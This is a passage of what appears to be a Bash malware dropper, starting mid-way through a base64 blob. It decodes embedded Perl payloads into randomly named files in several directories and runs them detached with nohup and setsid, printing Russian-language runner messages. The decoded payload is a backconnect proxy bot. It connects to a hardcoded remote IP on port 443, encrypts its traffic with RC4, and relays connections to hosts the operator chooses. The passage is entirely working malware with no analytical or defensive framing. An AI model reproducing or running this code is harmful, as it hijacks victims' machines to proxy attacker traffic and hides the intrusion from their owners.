LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #33 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #33 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 34 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ 